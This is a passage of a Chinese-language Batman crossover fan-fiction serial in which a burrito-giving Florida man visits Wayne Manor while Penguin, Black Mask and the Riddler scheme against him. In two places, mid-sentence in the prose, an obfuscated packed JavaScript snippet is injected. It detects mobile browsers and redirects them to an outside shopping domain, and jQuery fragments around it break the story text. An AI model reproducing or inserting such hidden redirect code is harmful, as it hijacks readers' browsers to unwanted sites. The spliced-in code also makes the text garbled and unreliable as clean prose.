“所以,”企鹅人的声音压低,“你偷鬼兰,是为了做出能控制他的药?” 黑面具没有承认,也没有否认。 “我也有我的打算。”企鹅人靠回椅背,“红头罩抢了我的餐厅,现在整个东区都在他手里。我需要那个花裤衩。”他看着黑面具,“你也需要他,我们各取所需。” 黑面具盯着他看了很久。 “你的意思是合作?” 企鹅人点头。 “怎么合作?” “你负责研究药,我负责盯他的人。事成之后,他归你,但你要帮我拿回东区。” 两人对视。黑面具的手指又开始敲桌面,那声音在空旷的地下室里回荡。 最后他伸出手。 “成交。” 企鹅人握住那只手,笑了。 克拉克从后面的房间里探出头,眼神兴奋。“那鬼兰的事……” “我会再想办法。”黑面具的声音没有起伏,“你继续研究配方。没有鬼兰,就用替代品。” 克拉克点头,缩回房间里。 企鹅人站起来,拄着拐杖往外走。走到门口时,他回头。 “那个花裤衩,你什么感觉?” 黑面具沉默了一秒。 “……烦。” 企鹅人笑了,那笑声在管道里回荡。 “我也觉得。但就是因为烦,所以才需要他。” 他推开门,消失在走廊里。 黑面具一个人坐在桌前,盯着那半个卷饼。 烦。确实烦。但他的卷饼,是真的有用。 他深吸一口气,拿起通讯器。“疤脸,继续盯着。别惊动他,但要盯紧了。” 通讯器那边应了一声。 黑面具把卷饼收进抽屉里,站起来,走到窗前。地下室的窗外什么都没有,只有水泥墙和管道,但他还是盯着看。那个花裤衩,他一定要拿到手。 ---蝙蝠洞--- 提姆的警报响的时候,布鲁斯正在分析黑面具据点的热成像图。 “B,企鹅人去见了黑面具。”提姆的声音从通讯器里传来,“两个小时前,从后门进的,呆了大概四十分钟。” 布鲁斯的眉头皱起来。 “他们的谈话区域装了屏蔽器,我们的设备进不去。” 达米安从后面走过来,手里拿着杯热可可。 “两个□□头子见面,能聊什么?无非是地盘、生意、或者——那个傻子。” 布鲁斯看了他一眼,没有否认。 “所以现在他们联合了?”达米安的语气带着一丝嘲讽,“一个想控制他,一个想利用他,结果被一个发卷饼的搞得团团转。” 迪克的声音带着笑意。 “小D,你是在夸他还是骂他?” “陈述事实。” 杰森的声音也插进来,闷闷的。 “企鹅人找我合作?他怎么不来找我?” 迪克笑得更开心了。 “因为你刚抢了他的餐厅。” 通讯器里沉默了一秒,然后杰森说:“活该。” 提姆咳了一声,把话题拉回来。 “所以现在的问题是,黑面具和企鹅人联手了。黑面具在研究控制达斯汀的药,企鹅人暂且不知,我们怎么应对?” 达米安第一个开口。 “我去找他,告诉他有人要对付他。” “他听不懂。”布鲁斯的声音平静。 达米安皱眉。 “那怎么办?” “他不知道怎么保护自己。”提姆调出达斯汀的行动轨迹,“你看他每天做的事——招猫逗狗,常常给流浪汉、黑|帮卷饼,偶尔去趟修车厂。完全没变过,黑面具的人只要故意引诱就能抓住他。” 迪克叹了口气。 “那家伙是真没危机感。” 杰森的声音又传来。 “他有危机感就不会来哥谭了。” 布鲁斯没有说话。他盯着屏幕上达斯汀的行动轨迹,那些红点密密麻麻地分布在东区和植物园之间,每天都在杂乱无章地填充东区和植物园的行动路径。就像一只在笼子里转圈的小鸟,完全不知道外面有猫在盯着。 “我们需要保护他。” 布鲁斯终于开口。 达米安抬起头。 “怎么保护?” “分散他的注意力,让他换路线。”布鲁斯指着屏幕,“东区、植物园、犯罪巷。他的路线太固定了。如果能让他去别的地方,黑面具的人就要重新部署。” 提姆调出地图。 “南区?不行,那是黑面具的地盘。北区?太远。港口?” “不行,港口太乱。”迪克的声音插进来,“而且他去了港口,万一遇到走私团伙,他又发卷饼怎么办?那不是更乱?” 达米安沉默了一秒。 “让他去韦恩庄园。” 所有人都安静了。 杰森先反应过来。 “你说什么?” “韦恩庄园。”达米安重复了一遍,“让他来庄园,阿尔弗雷德会喜欢他的。他做的卷饼,阿尔弗雷德一直说想尝尝。” “小D,你是想让他来陪你玩吧?” “不是。”达米安的脸黑了,“我是说——布鲁斯可以以韦恩的身份邀请他。他不是去过冰山餐厅吗?邀请他来庄园做客,很正常。” 布鲁斯看着达米安,这孩子嘴硬,但谁都看得出来——他就是想让达斯汀来。 “可以考虑。”布鲁斯说。 达米安的嘴角微微翘起,但很快压下去。 “我只是觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376643|200099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他整天在外面晃悠,太危险了。” 迪克开怀大笑。 “好好好,你是为了他好,不是为了想见他。” “闭嘴。” 杰森也笑了。 “达米安,你居然有朋友了。” “他不是我朋友!” “那你让他来庄园干嘛?” “我——阿尔弗雷德想见他!” 布鲁斯咳了一声。“说正事。” 安静下来。 布鲁斯站起来,走到屏幕前。“目前的情况,黑面具和企鹅人合作,目标明确。我们需要做到三件事。第一,保护达斯汀,不能让他落到他们手里。第二,切断企鹅人的信息来源,让他没办法盯住达斯汀的行踪。第三,找到黑面具的实验室,摧毁他的研究。” 提姆点头。“第一条,我们可以派人在暗中跟着他。第二条,我去黑企鹅人的监控网络。第三条——”他看向布鲁斯。 布鲁斯的眼神冷下来。“我去找黑面具。” 达米安站起来。“我跟你去。” “不。”布鲁斯看着他,“你去做另一件事。” “什么事?” “去找达斯汀。”布鲁斯的声音没有起伏,“陪他溜达,让他换条路走。” 达米安愣了愣,然后点头。 脚步声从楼梯上传来,所有人都安静了。 阿尔弗雷德端着托盘走下来,上面放着几杯绿色的液体,在灯光下泛着诡异的光。 “各位少爷,夜已经深了。”他把托盘放在桌上,一杯一杯地递过去,“这是今天的蔬菜汁,补充维生素。老爷,您的。” 布鲁斯看着那杯绿油油的东西,眉头微微皱起。阿尔弗雷德微笑着看着他,那笑容比蝙蝠侠的披风还让人无法拒绝。布鲁斯接过杯子,一口闷了,表情没变,但喉结动得很慢。 达米安盯着自己那杯。“阿尔弗雷德,这是什么?” “羽衣甘蓝、菠菜、芹菜、黄瓜,还有一点柠檬汁。”阿尔弗雷德顿了顿,“对身体好。” 达米安的脸黑了,但他还是端起来,像吃药一样灌下去。迪克笑着接过自己的那杯,一饮而尽,然后表情僵了一秒。“阿福,今天的……比昨天浓。” “是的,少爷。我特意多加了羽衣甘蓝。” 提姆端着杯子,看着那绿色的液体,深吸一口气,然后灌下去。他放下杯子,脸色发绿,但没说一个字。杰森从通讯器里听到这边的动静。“你们在喝什么?” “蔬菜汁。”迪克说,声音有点飘,“阿福牌的。” 杰森幸灾乐祸道:“活该。” 阿尔弗雷德看着通讯器,声音温和。 “杰森少爷,如果您有空的话,也可以回来喝一杯。我特意为您留了一份。” 通讯器那边安静了。 然后杰森灰溜溜地说:“……我挂了。” 通讯切断。 迪克笑得更开心了,达米安的嘴角也翘起来。阿尔弗雷德收拾好杯子,走到楼梯口,回头看了一眼。 “对了,各位少爷。”他说,“那位佛罗里达的先生,下次来的时候,需要我准备些什么?鳄鱼的零食?火烈鸟的饲料?还是——更多的卷饼配料?” 布鲁斯看着他。“你怎么知道他要来?” 阿尔弗雷德微笑。“达米安少爷今天说了三次‘如果那个人来了’,两次‘阿尔弗雷德会喜欢他的’,还有一次‘他的卷饼确实不错’。我想,这是邀请的意思。” 达米安的脸从黑变红。 迪克笑得蹲在地上。 提姆默默地把这段对话记下来。 阿尔弗雷德微笑着走上楼梯,脚步声渐渐远去。 达米安站在原地,手里的空杯子还没放下。“……我没说。” “你说了。”迪克还在笑。 “我没有。” “有。” 布鲁斯看着他们玩闹,嘴角的弧度在灯光下若隐若现。 达米安哼了一声,转身走了。 布鲁斯站在原地,看着屏幕上达斯汀的行动轨迹。 16. 日常 企鹅人离开黑面具的据点后,没有回自己的临时住处。 他让司机把车开到东区边缘的一条僻静街道,停在一栋废弃的公寓楼前。光头从副驾驶回头看他。 “老板,这地方……” “等着。”企鹅人推开车门,拄着拐杖走进楼里。 楼道里很黑,灯泡早就被人拧走了。他踩着破碎的台阶往上走,一直走到三楼,停在一扇门前。门上用绿色油漆歪歪扭扭地画着一个问号。 他敲了三下。 里面没有声音。他又敲了三下。 “进来。”一个尖锐的声音从门后传来,带着不耐烦。 企鹅人推门进去。 房间里堆满了东西——书、纸、各种电子设备,还有十几个白板,上面写满了乱七八糟的公式和符号。一个瘦高的男人坐在桌子后面,面前摆着三台显示器,手指飞快地敲着键盘。他穿着一件皱巴巴的绿色西装外套,头发乱糟糟的,眼镜后面的眼睛亮得吓人。 “谜语人。”企鹅人开口。 谜语人的手指停了。他转过头,看着企鹅人,嘴角慢慢咧开。 “企鹅人。”他的声音带着一丝嘲弄,“听说你被红头罩赶出了冰山餐厅?” 企鹅人的拐杖敲了一下地面。 “我来找你合作。” 谜语人歪着头看他,像在看一道有趣的谜题。 “合作?你和我?” “你最近在研究什么?” 谜语人的眼睛亮了一下,从桌上拿起一张纸,上面画着一个穿花裤衩的火柴人,旁边密密麻麻地写着字。 “那个佛罗里达人。”他把纸举到企鹅人面前,“他的卷饼,能让人不打仗。这不是化学,不是物理,不是任何已知的科学。我研究了他的行动轨迹,研究了他的行为模式,研究了他发出去的卷饼——” 企鹅人打断他。 “研究出什么了?” 谜语人的笑容僵了一下,然后变得更大了。“没有。什么也没研究出来。”他把纸放下,双手撑在桌上,凑近企鹅人,“所以他才有趣。” 企鹅人盯着他。 “我需要你帮我找到他的弱点,我要控制他。” 谜语人眨了眨眼,然后开始笑。那笑声尖锐刺耳,在空荡荡的房间里回荡。 “控制他?”他笑了很久才停下来,“企鹅人,你还没明白吗?那个人的卷饼,只有他自己发才有用。你研究他有什么用?” “所以我需要你帮我找到让他听话的办法。” 谜语人沉默了一秒,然后他坐回椅子上,翘起二郎腿,手指交叉放在膝盖上。 “那你能给我什么?” “钱。” “不要。” “地盘?” “不要。” 企鹅人的眉头皱起来。 “那你要什么?” 谜语人站起来,走到窗前,看着外面灰蒙蒙的天。“我要和他玩个游戏,一个谜题。”他回头看着企鹅人,“如果他赢了,我帮你。如果他输了……”他笑了,“那我更开心。” 企鹅人盯着他看了很久。 “成交。” 谜语人的笑容更深了。“那就这么说定了。” 他转过身,手指在键盘上飞舞。 企鹅人转身离开。走到门口时,谜语人的声音从身后传来。 “企鹅人,你知道那个佛罗里达人最有趣的地方是什么吗?” 企鹅人停下脚步。 “他从来不觉得自己在做奇怪的事。他发卷饼,只是因为他想。”谜语人的声音带着一丝狂热,“这种人,是世界上最难解的谜题。” 企鹅人没回头,推门走了。 楼道里又黑又安静。他拄着拐杖往下走,脑子里只有一个念头—— 那个花裤衩,到底有什么魔力? ---公寓--- 达斯汀被小饼干舔醒的。 小饼干把湿漉漉的舌头糊在他脸上,打了个嗝。火烈鸟站在窗台上,叫了一声。 “行了行了,醒了。”达斯汀坐起来,从腰包里摸出三个卷饼,一个自己咬,一个掰给小饼干,一个扔给火烈鸟。 楼下传来老太太的骂声。达斯汀探头看了一眼,一个穿黑西装的人站在巷口,老太太正拿着拐杖对着他挥舞。 “看什么看?滚远点!” 那人后退两步,但没走。达斯汀想了想,从腰包里又掏出一个卷饼,从窗口扔下去。“吃吗?” 那人抬头看到达斯汀的脸,脸色变了,转身就跑。卷饼掉在地上,一条流浪狗跑过来叼走了。 达斯汀挠挠头。“哥谭人真奇怪,送吃的都不要。” 他下楼的时候,老太太正坐在门口择菜。 “又有人盯上你了。”她头也不抬。 “嗯,我知道。” 老太太抬头看他,叹了口气。 “你小子,早晚把命玩没了。” 达斯汀挥挥手,带着小饼干和火烈鸟往外走。 走到巷口,他看到一个熟悉的身影。达米安站在路灯下面,手里拿着一杯——热可可? “小孩?”达斯汀眼睛亮了,“你怎么来了?” 达米安的脸微微发红。 “路过。” 达斯汀点点头,从腰包里掏出一个卷饼递过去。 “吃了吗?” 达米安接过卷饼,咬了一口。两人并排往前走,小饼干跟在后面,尾巴拖在地上。火烈鸟站在小饼干背上,像个瞭望员。 “你今天没上学?” 达米安的嘴角抽了抽。“今天周末。” “哦。”达斯汀点点头,“哥谭周末也上课吗?” “不上。” “那你来干嘛?” 达米安沉默了一秒。“路过。” 达斯汀笑了。“你们哥谭人是不是都爱路过?上次那个红头盔的也这么说。” 达米安咯噔了一下,换了个话题。 “我家有动物。” 达斯汀眼睛亮了。 “什么动物?” “牛、羊、马。还有一条狗。”达米安说得很快,像怕被打断,“阿尔弗雷德——我家的管家——养了一条大丹犬,叫提图斯。” “真的?”达斯汀的眼睛更亮了,“我能去看看吗?” 达米安没想到他这么直接,愣了一下。 “你想去?” “想啊。”达斯汀站起来,拍拍裤子,“我最喜欢动物了,你家在哪?” 达米安也站起来,努力让自己的声音听起来很平淡。 “韦恩庄园。” “韦恩?”达斯汀眨眨眼,“那个很有钱的韦恩?布鲁斯·韦恩?” 达米安点头。 “他是我爸。” 达斯汀盯着他看了三秒。“你是他儿子?” “是的。”达米安骄傲回复。 “那你也很有钱?” 达米安沉默了。 “……算是。” “走啊。”达斯汀往前走,“去看你的动物。牛、羊、马,还有那条狗。你家有鳄鱼吗?” “有。” 达斯汀的眼睛亮得像灯泡。 “鳄鱼?真的?” 达米安点头。“我家的鳄鱼,比你那条大。” 达斯汀扭头看了看小饼干,小饼干打了个嗝,表示不服。 “那让小饼干去交朋友!”达斯汀跳起来。 达米安点点头,跟上去。他偷偷按了一下通讯器。 “他来了。” 通讯器里传来提姆的声音。 “收到。” 迪克的笑声从背景里传来。“小D,你终于邀请他了。” 达米安关掉通讯器,假装什么都没发生。 达斯汀站在庄园门口,仰着头看了很久。 “你家……好大。” 达米安站在他旁边,双手插在口袋里。 “还好。” “比我家后院大一百倍。”达斯汀扭头看他,“你家有多少个房间?” “不知道,没数过。” 达斯汀点点头,跟着他往里走。小饼干跟在他后面,眼睛四处乱看。火烈鸟从它背上飞起来,落在一棵树上,开始啄果子。 阿尔弗雷德站在门口,穿着一身笔挺的西装,手里端着一个托盘。 “达斯汀先生,欢迎。” 达斯汀眨眨眼。 “你认识我?” 阿尔弗雷德微笑。 “您在哥谭很有名。” 达斯汀挠挠头。 “是吗?我怎么不知道。” 阿尔弗雷德的目光落在他腰间的包上。“您的腰包,很特别。” 达斯汀拍拍腰包。“朋友送的,你要吃卷饼吗?” 阿尔弗雷德的笑容更深了。“下次吧。先请进。” 他侧身让开,达斯汀走进去,眼睛立刻被大厅里的水晶吊灯和旋转楼梯吸引了。 “哇。”他张大嘴,“你家比冰山餐厅还大。” 达米安走在前面,声音闷闷的。“还好。” 达斯汀跟着他穿过大厅,经过一条长长的走廊,最后来到一扇巨大的落地窗前。窗外是一片绿色的草坪,远处能看到马厩和谷仓。 “动物在那边。”达米安指着窗外。 达斯汀的眼睛亮了。“走!” 他们穿过草坪,经过一个花园,达斯汀一路上不停地问。 “那是玫瑰吗?”“那棵树多大年纪了?”“那个喷泉是你们家的?” 达米安一个一个回答。 “是。”“不知道。”“是。” 走到马厩前,达米安停下来。里面有几匹马,正悠闲地吃草。其中一匹黑色的看到达米安,走过来,把脑袋伸过栅栏。 “它叫什么?”达斯汀问。 “阿瑞斯。” 达斯汀从腰包里掏出一个卷饼,递到马嘴边。马闻了闻,咬了一口,嚼着。 “它说好吃。”达斯汀认真地说。 达米安的嘴角抽了抽。“马不会说话。” “会的。”达斯汀又咬了一口自己的卷饼,“你听。” 达米安听到一些些的声音,震惊地转头看向达斯汀,把这件事记在心中。 接下来,他们继续往前走。经过鸡舍,达斯汀给每只鸡都掰了一小块卷饼。经过羊圈,他蹲下来和一只小羊羔说了很久的话。达米安站在旁边,双手插在口袋里,听着他那些不着边际的闲聊。 “你知道吗,佛罗里达有个人养了一只会冲浪的羊。”达斯汀一边摸小羊的头一边说。 达米安皱眉。“羊不会冲浪。” “会的。”达斯汀认真地看着他,“那只羊站在冲浪板上,跟着主人一起冲。后来上了新闻,被动物保护协会带走了。” 达米安沉默了一秒。“然后呢?” “然后那个人又养了一只。”达斯汀站起来,拍拍裤子,“佛罗里达的人,不会放弃任何快乐的事。” 达米安的嘴角翘了翘。“你也是?” “当然。”达斯汀从腰包里掏出一个卷饼,自己咬了一口,“我追着火烈鸟来到哥谭,还不够快乐吗?” 达米安没说话,但他嘴角的弧度更大了。 最后他们来到一个小池塘边。水很清,能看到底下的石头。池塘中央有一块大石头,上面趴着一条鳄鱼。很大,比小饼干大两倍,闭着眼睛,一动不动。 “那就是你说的鳄鱼?”达斯汀凑近了看。 达米安点头。“它叫布鲁图斯。” 达斯汀蹲下来,盯着那条鳄鱼。“它多大了?” “不知道,来我家之前就有了。” 达斯汀从腰包里掏出一个卷饼,掰了一小块,扔到水里。卷饼飘到布鲁图斯面前,它睁开一只眼睛,看了一眼,然后闭上,继续睡。 达斯汀扭头看达米安。“它不吃?” 达米安摇头。“它只吃肉。” 达斯汀点点头,把那小块卷饼捞回来,自己吃了。“小饼干什么都吃。”他指了指跟在后面的鳄鱼,“卷饼、鱼、鸡骨头、偶尔啃两口游客。” 达米安看了一眼小饼干。小饼干打了个嗝,好像在说“没错”。 “你那条鳄鱼,哪来的?”达米安问。 “捡的。”达斯汀蹲下来,摸了摸小饼干的头,“佛罗里达那边,鳄鱼到处都是。有一次飓风过后,我在后院发现它趴在水池里,就留下了。” 达米安沉默了一秒。“飓风的时候,你在干什么?” 达斯汀想了想。“在屋顶上看风。” 达米安看着他,眼神复杂。“你不怕被吹走?” 达斯汀笑了。“被吹走就吹走呗,反正也是佛罗里达的风。在那边,我们什么事都干过。有人骑海牛逃跑,有人用香蕉抢劫银行,有人报警抓自己——就因为老婆不给他买啤酒。” 达米安盯着他。“这些都是真的?” “当然是真的。”达斯汀从腰包里又掏出一个卷饼,掰了一半递给达米安,“佛罗里达的男人,从不撒谎。只是偶尔说点快乐的事。” 达米安接过卷饼,咬了一口。 “还有一次,”达斯汀嚼着卷饼,“我邻居家的狗生了小狗,他送了我一只。结果那只狗长大了才发现是浣熊。” 达米安嚼卷饼的动作停了。“浣熊?” “对。”达斯汀点头,“它一直以为自己是一条狗。跟狗一起吃饭,一起睡觉,一起追猫。后来被动物保护协会带走了,我邻居哭了三天。” “然后呢?” “然后他又养了一只狗,这次是真的狗。” 达米安的嘴角翘起来。他低下头,假装在看池塘里的鱼,但达斯汀看到了。 “你笑了。”达斯汀指着他的脸。 “没有。” “有。我看到了。” “没有。” 达斯汀笑了。“哥谭人真奇怪,笑了不承认。” 达米安的脸红了,转过头去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376644|200099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,假装没听到。 远处传来脚步声。阿尔弗雷德站在草坪上,手里端着一个托盘。 “达斯汀先生,茶点准备好了。” 达斯汀站起来,拍拍裤子。“有卷饼吗?” 阿尔弗雷德微笑。“没有。但有三明治、司康饼、水果塔,还有——”他顿了顿,“达米安少爷特意让厨房准备的鳄鱼造型饼干。” 达米安的脸从红变黑。“我没有。” “您昨天说的。”阿尔弗雷德的声音温和,“‘那个人有个鳄鱼,做点鳄鱼饼干,他会高兴。’” 达米安的脸彻底黑了。 达斯汀笑得更开心了。“你真好。” 达米安转身就走,步子很快。达斯汀跟上去,一边走一边从腰包里掏卷饼。“别走那么快,给你卷饼。” 达米安没回头,但脚步慢了一点。 阿尔弗雷德站在原地,看着他们的背影,嘴角带着一丝笑意。 他转身往厨房走,经过走廊时,看到布鲁斯站在窗边,看着草坪上那两个身影。 “老爷。” 布鲁斯点头。“他怎么样?” “很有趣。”阿尔弗雷德微笑,“达米安少爷也很开心。” 布鲁斯的嘴角微微翘起。 阿尔弗雷德转身走了,走到楼梯口时,他回头。 “对了,老爷。那位佛罗里达先生给马发了卷饼。” 布鲁斯的眉头皱起来。“马吃了?” “吃了,还说好吃。”阿尔弗雷德顿了顿,“这是他的原话。” 布鲁斯沉默了一秒。“我知道了。” 阿尔弗雷德微笑着离开。 达斯汀和达米安坐在草坪上,面前摆着一桌茶点。 小饼干趴在达斯汀脚边,啃着一块肉。火烈鸟从树上飞下来,落在一块水果塔旁边,开始啄。 达斯汀拿起一块鳄鱼造型饼干,看了很久。“做得好像。” 达米安端起茶杯,假装没听到。 达斯汀咬了一口。“好吃。”他把剩下的塞到达米安手里,“你也吃。” 达米安低头看着那块被咬了一半的饼干,犹豫了一秒,还是吃了。 “你那条鳄鱼,”他咽下去,“它听你的话?” “听啊。”达斯汀指了指小饼干,“它知道自己叫什么,会打嗝,会用尾巴关门。还会——”他顿了顿,“帮我推车。” 达米安皱眉。“推车?” “对。上次车坏了,它帮我推了三条街。”达斯汀摸着小饼干的头,“佛罗里达的鳄鱼,什么都会。” 达米安看着小饼干,小饼干打了个嗝,好像在说“那是”。 “你那条鳄鱼,”达斯汀指了指池塘方向,“会什么?” 达米安沉默了一秒。“睡觉。” 达斯汀笑了。“那也挺厉害的。我那条就不会睡觉——它随时都在睡。” 达米安的嘴角又翘起来。 远处,太阳慢慢往西边沉,把草坪染成金色。 达斯汀躺在草地上,盯着天空。“你们家真大。”他说,“比我在佛罗里达的整个镇子都大。” 达米安坐在他旁边,手里端着茶杯。“你不想回去吗?” 达斯汀想了想。“想啊。佛罗里达有海,有太阳,有快乐的事。”他顿了顿,“但哥谭也挺好的,你们这些人都让我感觉到好快乐,我把哥谭都逛完就回去。” 达米安看着他。“我们这些人?” “你,你哥,蝙蝠侠,帕米拉,那个红头盔的……”达斯汀掰着手指头数,“还有企鹅人,黑面具,虽然他们有点凶,但人也不坏。” 达米安沉想说那些人不是好人,但看着达斯汀那张真诚的脸,什么都没说。 “明天还来吗?”达米安问。 达斯汀坐起来。 “来啊。我还要给布鲁图斯讲故事。” 他站起来,拍拍裤子。“我得走了,天快黑了。” 达米安也站起来。“我送你。” 两人往庄园门口走,小饼干跟在后面,火烈鸟飞回它背上。 走到门口时,达斯汀回头看了一眼。庄园在夕阳下闪着光,像一座城堡。 “你家真好看。”他对达米安说,“下次我带卷饼来。给所有人发。” 达米安点点头。“好。” 达斯汀挥挥手,带着他的动物们走了。 达米安站在门口,看着他的背影消失在路尽头。 “他走了。”他对着空气说。 布鲁斯的声音从耳麦里传来。“嗯。” “他明天还来。” “嗯。” 达米安转身往回走,走了几步,又回头看了一眼。 路已经空了。 他的嘴角微微翘起,消失在庄园里。 ---蝙蝠洞--- 阿尔弗雷德端着托盘走进来,托盘上放着几杯绿色的液体,在灯光下泛着诡异的光。 布鲁斯坐在屏幕前,看着庄园门口的监控回放。达米安站在门口,看着达斯汀走远的背影,站了很久。 阿尔弗雷德把蔬菜汁递过去。“老爷,您的。” 布鲁斯接过杯子,看了一眼,一口闷了。表情没变。 迪克从后面探出头。“他走了?” 布鲁斯点头。 “达米安呢?” “回房间了。” 迪克笑了。“他肯定很开心。” 提姆走过来,端起一杯蔬菜汁,深吸一口气,灌下去。他的脸绿了一秒。“达米安今天笑了好几次。” “真的?”迪克眼睛亮了。 “监控里看到的。”提姆顿了顿,“他以为没人看到。” 迪克笑得更开心了。 杰森的声音从通讯器里传来,闷闷的。“那个傻子去了庄园?” “嗯。”迪克说。 阿尔弗雷德微笑, “杰森少爷,您也可以回来看看。那位先生做了很多卷饼。” 杰森的声音更闷了。 “不去。” “还有鳄鱼饼干。” “……不去。” 迪克笑了。“杰森,你嫉妒了?” “没有。” “有。” “没有。” 阿尔弗雷德收拾好杯子,走到楼梯口,回头看了一眼。“对了,各位少爷。” 所有人看向他。 “那位佛罗里达先生说,鳄鱼都听得懂故事。”他顿了顿,“我想,下次他来的时候,可以给布鲁图斯讲一个。” 布鲁斯的嘴角动了一下。 迪克笑出声。 提姆默默把这句话记下来。 杰森的声音从通讯器里传来。“他真这么说?” “是的,杰森少爷。” 杰森沉默了很久。 然后他说:“……我再想想。” 通讯切断。 迪克笑得蹲在地上。 阿尔弗雷德微笑着走上楼梯。 17. 谜语人的游戏 凌晨三点,哥谭东区的一家废弃玩具厂亮起了灯。 不是普通的灯——是绿色。惨绿色,从每一扇窗户里渗出来,把整条街染成鬼魅的颜色。墙面上被人用荧光漆刷了一个巨大的问号,三层楼高,在夜色里发着幽幽的光。 第一个发现的人是巡逻的警察。他站在街对面,看着那个问号,拿起对讲机。 “总部,东区老玩具厂,有情况。” 对讲机里传来沙沙的电流声,然后一个声音响起来,尖锐中带着一丝亢奋:“警官,欢迎来到我的智力盛宴。” 警察愣住了。 “你是谁?” “我是谁不重要。”那个声音笑了,“重要的是——你们能解开这个谜题吗?” 工厂的大门缓缓打开,里面漆黑一片。警察举起手电筒照进去,看到地上用荧光粉画满了问号。最小的问号旁边放着一张卡片,上面写着一行字: “我有城市但没有房子,我有森林但没有树,我有水但没有鱼。我是什么?” 警察盯着那张卡片,脑子一片空白。对讲机里又传来那个声音,带着失望:“这么快就放弃了?哥谭的警方,真让人失望。”顿了顿,“没关系,我的游戏,不是给你们玩的。” 通讯切断,徒留警察站在原地,后背发凉。 ---蝙蝠洞--- 提姆的警报响的时候,布鲁斯正在分析黑面具据点的热成像图。 “B,东区有情况。”提姆的声音从通讯器里传来,“谜语人占了老玩具厂。墙上刷了问号,现场有谜题。” 布鲁斯的眉头皱起来。“什么谜题?” “地图。”提姆顿了顿,“他的谜题答案是‘地图’——‘我有城市但没有房子,我有森林但没有树,我有水但没有鱼。’” 达米安从后面走过来,手里拿着杯热可可。 “谜语人又来了,这次目标是谁?” 布鲁斯没有回答,他盯着屏幕上的监控画面——那个巨大的绿色问号,在夜色里发着诡异的光。 “他留了第二张卡片。”提姆放大画面,“上面写着——‘这份礼物,送给哥谭最新的英雄。卷饼侠,希望你能解出我的谜题。’” 达米安的热可可差点洒了。 “他要找那个傻子?” ---东区公寓--- 达斯汀是被小饼干拱醒的。那条鳄鱼把湿漉漉的鼻子塞到他手里,喉咙里发出低沉的咕噜声。火烈鸟站在窗台上,翅膀张开,叫得比警报还响。 “干嘛……”达斯汀翻了个身。 小饼干咬住他的被子,往床下拖。达斯汀滚到地上,睁开一只眼睛。窗外有绿光,惨绿色,从街角渗过来。 他爬起来,凑到窗前。远处废弃玩具厂的墙上,那个巨大的问号在夜色里发着光。 “哇。”他眼睛亮了,“好大的问号。” 楼下传来急促的脚步声。老太太的声音从走廊里传来:“小子,别出去!” 达斯汀已经穿好了花裤衩,从腰包里掏出一个卷饼,边吃边往外走。 “我就去看看。” 老太太站在楼梯口,拄着拐杖,独眼里满是焦虑。 “那是谜语人,他会杀人的。” 达斯汀想了想。 “他又没打我。” 老太太被噎住了,达斯汀拍拍她的肩膀,带着小饼干和火烈鸟下楼了。 街上的绿光比窗里看到得更浓。那个问号像一只眼睛,盯着整条街。几个警察站在警戒线外面,脸色发白。看到达斯汀走过来,领头的那人愣了愣。 “先生,这里危险,请离开。” 达斯汀递给他一个卷饼。“那是什么?”他指着墙上的问号。 警察没接卷饼。 “谜语人的标记,里面可能有炸弹。” 达斯汀点点头,绕过警戒线往工厂走。警察想拦,小饼干打了个嗝,那人的手停在半空。火烈鸟从他头顶飞过去,落在工厂的窗台上。 达斯汀推开门,走进去。 里面很黑,只有荧光粉画的问号在脚下发着绿光。他沿着问号往前走,一直走到工厂中央。那里放着一张桌子,桌上摆着一个蛋糕——上面用奶油画了一个问号,旁边放着一张卡片。 达斯汀拿起卡片。 “你来了,卷饼侠,欢迎参加我的游戏。第一个谜题,你已经看到了。第二个谜题,藏在你想不到的地方。你在东区发卷饼的时候,有没有注意过那条叫‘默克尔’的巷子?那里有一扇从来不开的门。门后面,有我的礼物。限时一小时,祝你好运。” 达斯汀把卡片翻过来,后面还有一行小字:“PS:你的卷饼,确实好吃。” 他笑了。“这人有意思。” 他把卡片塞进腰包,转身往外走。走到门口时,头顶的喇叭突然响了——那个尖锐的声音,带着一丝亢奋。 “卷饼侠,你这么快就走了?不尝尝蛋糕?” 达斯汀抬头,对着空气说:“我吃过早饭了。” 喇叭里沉默了一秒。然后那个声音又响起来,这次带着一丝困惑:“你……不害怕?” 达斯汀想了想。“怕什么?” “我的谜题。” “你的谜题挺简单的。” 喇叭里又沉默了。然后那个声音笑了,笑声尖锐刺耳,在空荡荡的工厂里回荡。 “简单?”他说,“你是第一个这么说的人。” 达斯汀挥挥手,消失在门口。 工厂里安静下来,谜语人坐在监控室,盯着屏幕上那个穿花裤衩的背影,嘴角慢慢咧开。他的手指敲着桌面,敲了几下,停下来。 “有意思。”他自言自语,“真有意思。” ---默克尔巷--- 达斯汀找到那条巷子的时候,天还没亮。巷子很深,两边是高墙,墙上爬满了藤蔓。他走了几步,看到一扇门——铁锈色,关得严严实实,门把手被焊死了。 门上用荧光粉画了一个问号,下面钉着一张卡片。 达斯汀把它扯下来。 “我每天都在走,却从不离开原地。我承载着过去,却不知道未来。我是什么?” 达斯汀想了想,从腰包里掏出一个卷饼咬了一口,嚼着。然后他蹲下来,把耳朵贴在门上。铁门后面很安静,但有一种嗡嗡声,像机器在运转。 “钟表。”他对门说。 门后面没有回应。他又咬了一口卷饼。“或者日历。反正都是记时间的。” 